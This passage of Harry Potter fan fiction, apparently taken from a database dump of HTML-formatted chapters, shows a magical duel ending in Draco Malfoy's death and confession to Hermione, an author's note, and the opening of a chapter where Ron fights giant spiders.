style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Draco sneered at\nHarry.&nbsp; &quot;Common knowledge is that\nonly a Battle Wizard can defeat a Battle Wizard,&quot; he said.&nbsp; &quot;The only way I can fight Potter on my\nown terms, is if I become a Battle Wizard myself.&quot;&nbsp; Draco suddenly pointed his hands at Harry\nand shouted, <i>&quot;Maximus Reducto!&quot;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione screamed\nas the highly advanced reductor curse slammed into Harry, ending in a huge\nexplosion of debris.&nbsp; Ron ducked,\nexpecting a tremendous explosion like the one in Hogsmeade.&nbsp; Fortunately, no such thing happened.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Don\'t be so\nfrightened, Weasley,&quot; sneered Draco.&nbsp;\n&quot;This fortress was built to withstand the power of Battle\nWizards.&nbsp; It won\'t be destroyed by one\nadvanced reductor, though I can\'t say the same for Potter.&quot;&nbsp; He started laughing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Draco stopped\nlaughing however, when Harry got up with out a scratch.&nbsp; He brushed of his robes and glared at Draco\nwith a new look of determination.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;You know,\nMalfoy,&quot; said Harry.&nbsp; &quot;I never\nexpected that I would fight against you with equal terms.&nbsp; But I guess there is a first time for\neverything, and a last time.&quot;&nbsp;\nHarry suddenly pulled out something from underneath his cloak.&nbsp; Ron and Hermione gasped when they saw that\nit was the sword of Godric Gryffindor.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry passed his\nwand into his left hand took up his sword in his right hand.&nbsp; &quot;Lets get a little more serious,&quot;\nhe said.&nbsp; Harry suddenly rocketed\nforward and swung his sword down at Draco, the blade giving off a dazzling\nwhite light in the form of an even larger sword.&nbsp; Panicking, Draco cast a powerful shield charm over himself.&nbsp; The dazzling blade struck the shield with\nflash of sparks, and both the shield and the blade disappeared with a\ncrack.&nbsp; Draco leapt back and dodged\nHarry\'s sword as it came flashing down.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Draco yelled <i>&quot;Multiplicus\nDiffendo!&quot;</i>&nbsp; A legion of magical\nenergy blades were conjured up that went flying toward Harry.&nbsp; Harry swung his sword around and deflected\nall of the blades.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry then\nshouted, <i>&quot;Maximus Reducto!&quot;</i>&nbsp;\nDraco was completely caught in the explosion, he shield charm barely\nholding.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">As soon as the\nexplosion subsided, Draco shouted, <i>&quot;Crucio!&quot;</i> just as Harry\nshouted, <i>&quot;Multiplicus Diffendo!&quot;</i>&nbsp; Harry was caught by the Cruciatus Curse and started writhing in\npain, but Draco was forced to take off the curse so that he could dodge Harry\'s\nenergy blades.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry started\nwheezing a little but he still had a clear head.&nbsp; He yelled, <i>&quot;Stupefius Expelliarmus!&quot;</i> and fired a\ncombination stunner and disarmer.&nbsp; Draco\ndodged the spell with a quick roll to the side.&nbsp; He was also panting and beads of sweat were forming on his\nforehead.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Suddenly, Draco\nstarted coughing violently, and Harry was shocked when he saw blood coming up\nwith the coughs.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Draco,\nwhat...&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Don\'t pity\nme, Potter!&quot; yelled Draco.&nbsp; &quot;I\nstill have enough power to finally beat you.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Draco suddenly\nyelled, <i>&quot;Avada Kedavra!&quot;</i>&nbsp;\nHermione screamed as the green light closed in on Harry.&nbsp; However, Harry suddenly disappeared!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Wha...&quot;\nDraco glanced up to see Harry high up in the air.&nbsp; Harry once again gathered energy onto his sword and formed the\ndazzling large blade.&nbsp; Harry swung the\nblade downward as he fell toward Draco.&nbsp;\nThere was a large explosion as the blade hit the ground.&nbsp; Draco had rolled out of the way.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Draco suddenly\npointed his wand forward and shouted, <i>&quot;Draco Incendio!&quot;</i>&nbsp; Harry was shocked when a powerful flame in\nthe form of a mighty dragon erupted from Draco\'s wand with a mighty roar.&nbsp; Harry barely managed to dodge the fire\ndragon and was singed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;What\nthe?&quot; he muttered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Draco glared at\nHarry and said, &quot;The dragon flame spell is my own creation, Potter.&nbsp; A spell that can only be used by me and me\nalone: it\'s my greatest spell in my arsenal and it&#8217;s the spell that will mean\nyour doom!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Draco suddenly\nstarted coughing up blood again.&nbsp; Harry\nhad a look of concern on his face but dropped it when Draco glared at him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Is that\nso?&quot; said Harry.&nbsp; &quot;Well, to\ntell you the truth I also have a spell that I alone can use: the stellar\npatronus.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Draco and Hermione\nstared at Harry in shock and disbelief.&nbsp;\nRon looked confused.&nbsp; &quot;The\nstellar patronus?&nbsp; What\'s that?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Despite the\nseriousness of the situation, Hermione couldn\'t help rolling her eyes and said,\n&quot;Ron, didn\'t you ever pay attention in History of Magic?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Hermione, it\nwas Binns teaching that class.&nbsp; No one\npaid attention in that class, except you.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione went into\nher lecture mode: &quot;The stellar patronus is essentially a more advanced\nform of the patronus charm.&nbsp; It is\nbasically a dark magic cleanser and anybody whom is hit by has all dark magic\nin his body expelled.&nbsp; It takes on the\nshape of the zodiac sign of the caster.&quot; At this point she stopped and\nglanced at Harry in confusion before she continued, &quot;But in all history,\nonly one person was ever known to have been able to use the stellar patronus:\nits creator, Godric Gryffindor.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Yes,&quot;\nsaid Harry.&nbsp; &quot;But what a lot of\npeople don\'t know is that Gryffindor hid the secret of the stellar patronus\nsomewhere in Hogwarts after Salazar Slytherin\'s betrayal.&quot;&nbsp; Harry pulled his hat down lower.&nbsp; Hermione gasped in understanding.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;The Sorting\nHat,&quot; she said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;That\'s\nright,&quot; said Harry.&nbsp; &quot;This hat\non my head is the secret to my abilities as a Battle Wizard.&nbsp; So long as I have this hat on, I am the sole\npossessor of the stellar patronus.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Is that all\nyou have to say?&quot; hissed Draco.&nbsp; He\ncoughed up more blood but continued: &quot;If you\'ve quite finished, why don\'t\nwe finish what we\'ve started, Potter!&quot;&nbsp;\nHe straitened up and yelled, <i>&quot;Draco Incendio!&quot;</i>&nbsp; Once again, the fire dragon flew toward\nHarry with a mighty roar.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry stood his\nground.&nbsp; He started to move his wand and\nsword around into the form of the constellation Leo and said, <i>&quot;Astra\nPatronum Leo!&quot;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A mighty, golden\nLion burst forward, with shining stars within the body that correlated with the\nconstellation Leo.&nbsp; The lion sped\nthrough the fire dragon, causing it to disappear with a scream.&nbsp; Draco stared in disbelief as the lion\nengulfed his body.&nbsp; He started screaming\nas a powerful surge of energy sped through his body.&nbsp; A shadowy vapor started to seep out of his body.&nbsp; Soon, the light of the lion disappeared, all\nof the vapor left Draco, and Draco Malfoy collapsed to the ground, panting and\nwheezing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry, Hermione,\nand Ron gathered around Draco.&nbsp;\n&quot;There isn\'t a single trace of dark magic in your body\nanymore,&quot; said Harry.&nbsp; He kneeled\ndown in front of Draco and examined the blood Draco had coughed up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I should\'ve\nknown,&quot; said Harry.&nbsp; &quot;You used\nthe Battle grant spell, didn\'t you Draco?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;The\nwhat?&quot; asked Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;The Battle\ngrant spell,&quot; said Harry.&nbsp; &quot;It\ngrants you the powers of a Battle Wizard, but at a price.&quot;&nbsp; He turned back to Draco and said, &quot;Why\nDraco?&nbsp; You should know that that spell\nwas fatal.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Draco now had\ntears rolling down his face.&nbsp; &quot;I\nwanted to win.&nbsp; All my life I\'ve always\nwanted beat you, Potter.&nbsp; But it never\nhappened.&nbsp; Just once, I wanted to beat\nyou, and yet even this last gamble failed.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry stared at\nDraco in disbelief.&nbsp; &quot;At the cost\nof your life?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;That\nwouldn\'t have mattered since Hermione was supposed to carry my child.&nbsp; I was going to take her after I beat you and\nat least have the Malfoy blood line live on.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Rage started to\nbuild up in Ron as he spat, &quot;Malfoy you sick ba...&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Let me\nfinish!&quot; yelled Draco as he coughed up more blood.&nbsp; He was fully crying when he said.&nbsp; &quot;Hermione, I\'m so sorry.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione stared at\nDraco in disbelief.&nbsp; &quot;What?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I\'m so\nsorry,&quot; whispered Draco, tears streaming down his eyes.&nbsp; &quot;When the Dark Lord chose me to bare\nhis heir it was also decided that a muggle or a muggle-born would be the\nmother.&nbsp; He read my thoughts and found\nthe feelings I had for you.&nbsp; So they\ndecided to use you.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione\ngasped.&nbsp; Draco continued.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I never\nwanted to have to rape you, but I could not go against the Dark Lord.&nbsp; I wanted you to at least accept willingly,\nbut you refused and gave me no choice.&nbsp;\nI\'m so sorry.&nbsp; All I ask before I\ndie, is that you have it in your heart to forgive me.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione stared at\nDraco for a while.&nbsp; Finally, a look of\nsorrow came over her face and she whispered, &quot;I forgive you Draco\nMalfoy.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Draco smiled but\nanother coughing fit of blood took hold of him.&nbsp; He started cough up more and more blood until finally, he\ncollapsed.&nbsp; Slowly, he closed his eyes,\nhis breathing stopped, and Draco Malfoy was dead.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N Ack!&nbsp; I fell behind schedule!&nbsp; How could I?&nbsp; But I finally managed to get this chapter complete.&nbsp; Sure hope you all enjoy it.&nbsp; So, please read and review this\nchapter.&nbsp; This story is coming down on\nthe climax.&nbsp; Enjoy!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(146, 15, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&quot;For God\nso loved the world that he gave his one and only son, that whoever believes in\nhim shall not perish but have eternal life.&quot;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:right;layout-grid-mode:char;word-break:break-all" align="right"><i>John 3:16</i></p>\n\nChapter 15: The\nLion against the Serpent\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The trio remained\nkneeling around Draco\'s dead form for a while.&nbsp;\nThat had never expected that they would actually be mourning for the\nloss of the one person in school they had hated the most.&nbsp; Hermione even let a tear role down her\ncheek, a sign that she had truly forgiven the person who had given her so much\ngrief.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Finally Harry\npulled his hat down lower and stood up.&nbsp;\n&quot;Come on, we\'ve got a job to do.&quot;&nbsp; Ron and Hermione nodded and stood up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione glanced\nup at the staircase and said, &quot;The next floor should be the top\nfloor.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry nodded.&nbsp; &quot;That\'s where Voldemort is.&quot;&nbsp; Ron and Hermione looked frightened and Harry\nseemed to have lost his usual confidence.&nbsp;\n&quot;Lets go,&quot; he said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Unfortuanately,\nwhen they hadn\'t even moved a step, they stopped when they heard the sound of\nwhat sounded like applause, only they heard clicks instead of claps: the clicks\nof hundreds and hundreds of pinchers.&nbsp;\nThe trio turned around and gasped at the sight.&nbsp; Harry was gritting his teeth, Hermione\nlooked frightened, and Ron looked about ready to faint from sheer terror.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Acromantulas!&nbsp; Giant spiders.&nbsp; Hundreds and hundreds of giant spiders were closing in on them,\nbarring their pinchers and eight legs menacingly.&nbsp; Harry quickly cast a powerful shield charm that kept the spiders\naway.&nbsp; &quot;I can\'t keep these spiders\naway forever,&quot; said Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Forget the\nspiders, you and Hermione go fight You-know-who!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;What?&quot;&nbsp; Harry and Hermione whipped around to face\nRon.&nbsp; He looked extremely frightened but\ndetermined at the same time.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Ron...&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Harry, I\njust have this feeling that it has to be me who holds these spiders up.&nbsp; Besides, how could I ever truly call myself\na Gryffindor if I can\'t face my greatest fear?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry and Hermione\nwere reminded of the time when Ron had sacrificed himself in a chess match back\nin their first year.&nbsp; Harry nodded and\nplaced a hand on Ron\'s shoulder.&nbsp;\nSuddenly, a sudden glow eminated from Harry\'s hand and transferred into\nRon\'s body.&nbsp; Ron\'s eyes widened.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Harry,\nwhat?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I\ntransferred a portion of my Battle Wizard powers into you.&nbsp; It&#8217;s a temporary deal but it should be\nenough to fight off the arcromantulas.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron was clearly\nsurprised but also relieved.&nbsp; He turned\nto the spiders, fighting his fears down.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Good luck,\nRon,&quot; said Hermione as she and Harry started to make their way up the\nstairs.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron pointed his\nwand at one of the spiders.&nbsp; He tried to\nfire a stunner but was completely surprised when he shot a powerful blast that\ndisintegrated two of the acromantulas.&nbsp; &quot;I\ncould get used to this,&quot; said Ron with a grin.&nbsp; He readied himself to fight off the remainder of the spiders.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 